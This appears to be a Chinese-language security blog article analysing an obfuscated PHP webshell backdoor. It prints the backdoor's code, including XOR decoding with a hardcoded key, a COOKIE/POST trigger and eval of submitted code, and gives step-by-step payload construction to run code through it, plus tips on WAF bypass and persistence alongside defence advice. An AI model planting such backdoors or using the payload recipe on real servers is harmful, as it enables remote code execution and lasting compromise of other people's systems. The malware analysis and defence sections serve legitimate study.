记一次对php猥琐马的爆菊分析(上)
字数 1614 2025-08-15 21:32:16
PHP后门代码分析与利用技术详解
一、后门代码概述
这是一个经过高度混淆的PHP后门程序,具有以下特点:
- 使用注释和空白字符隐藏真实代码
- 采用多重编码和混淆技术
- 通过COOKIE或POST参数触发
- 最终执行任意PHP代码
二、代码结构分析
1. 初始化部分
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "长混淆字符串";
- 使用
$GLOBALS全局变量数组进行数据存储 - 变量名采用16进制编码混淆(如
\x47\x4c\x4fB\x41\x4c\x53解码为GLOBALS)
2. 环境设置
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
- 关闭错误日志
- 取消执行时间限制
- 使用
@抑制错误显示
3. 核心功能函数
加密函数 e664fd
function e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i<strlen($vv);){
for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
- 实现逐字符异或(XOR)加密
- 使用两个参数进行双重混淆
- 异或加密特性:
A ^ B = C,则B ^ C = A(可逆)
主处理函数 x184f5cc
function x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
- 双重异或加密处理
- 使用固定密钥
$c77700426(值为aec7e489-2fbc-4b15-871f-1d686eeb80dc)
三、触发机制分析
1. 参数获取
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
- 优先从COOKIE获取参数,失败则从POST获取
$kk为参数名,$vv为参数值
2. 数据处理流程
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
- 对
$vv进行Base64解码 - 使用
x184f5cc函数处理(双重异或解密) - 反序列化处理结果
3. 执行条件
if (isset($vv['ak']) && $c77700426==$vv['ak']){
if ($vv['a'] == 'i'){
// 返回版本信息
} elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
exit();
}
}
- 必须包含
ak字段且值等于aec7e489-2fbc-4b15-871f-1d686eeb80dc a字段值为i时返回版本信息,为e时执行d字段中的代码
四、利用方法
1. 构造有效载荷
需要构造如下结构的数组:
$payload = array(
'ak' => 'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
'a' => 'e',
'd' => '要执行的PHP代码'
);
2. 加密处理流程
- 序列化payload:
$serialized = serialize($payload); - 第一次异或加密:
$temp = e664fd($serialized, $kk);(使用参数名$kk作为密钥) - 第二次异或加密:
$encrypted = e664fd($temp, $c77700426);(使用固定密钥) - Base64编码:
$final = base64_encode($encrypted);
3. 实际利用示例
假设参数名为cmd,要执行phpinfo();:
-
构造原始数组:
$payload = array( 'ak' => 'aec7e489-2fbc-4b15-871f-1d686eeb80dc', 'a' => 'e', 'd' => 'phpinfo();' ); -
序列化:
$serialized = serialize($payload); // 结果:a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";} -
双重异或加密(伪代码):
$temp = xor_strings($serialized, 'cmd'); $encrypted = xor_strings($temp, 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'); -
Base64编码后作为COOKIE或POST参数提交
五、技术要点总结
-
混淆技术:
- 使用16进制编码变量名
- 在函数名和括号间插入注释(如
eval/*注释*/(...)) - 使用全局变量存储关键数据
-
加密方式:
- 双重异或加密确保安全性
- 结合Base64编码便于传输
- 使用固定密钥和动态密钥组合
-
触发机制:
- 支持COOKIE和POST两种方式
- 严格的参数校验机制
- 模块化设计(信息获取与代码执行分离)
-
反检测技术:
- 禁用错误日志
- 字符串拼接绕过简单特征检测
- 非常规函数调用方式
六、防御建议
-
代码审计:
- 检查文件中异常的空白字符和注释
- 查找
eval、assert等危险函数 - 注意非常规的全局变量使用
-
服务器配置:
- 禁用危险函数(
eval、assert等) - 启用严格的文件上传限制
- 定期检查服务器文件完整性
- 禁用危险函数(
-
监控措施:
- 监控异常的文件修改
- 记录可疑的HTTP请求
- 使用Web应用防火墙(WAF)
-
开发规范:
- 禁止执行动态代码
- 使用安全的反序列化方法
- 实施严格的输入验证
七、高级利用技巧
-
自动化利用工具:
- 编写脚本自动生成有效载荷
- 实现批量检测和目标识别
-
绕过限制:
- 对于执行代码长度限制,可以分段执行
- 使用编码技术绕过WAF检测
-
持久化技术:
- 结合文件写入功能实现持久化
- 通过数据库存储后门代码
-
隐蔽通信:
- 使用加密通信信道
- 伪装成正常业务请求
- 采用时间延迟等技术规避检测
通过深入理解此类后门的工作原理,安全研究人员可以更好地检测和防御此类威胁,同时也能在授权测试中有效利用这些技术。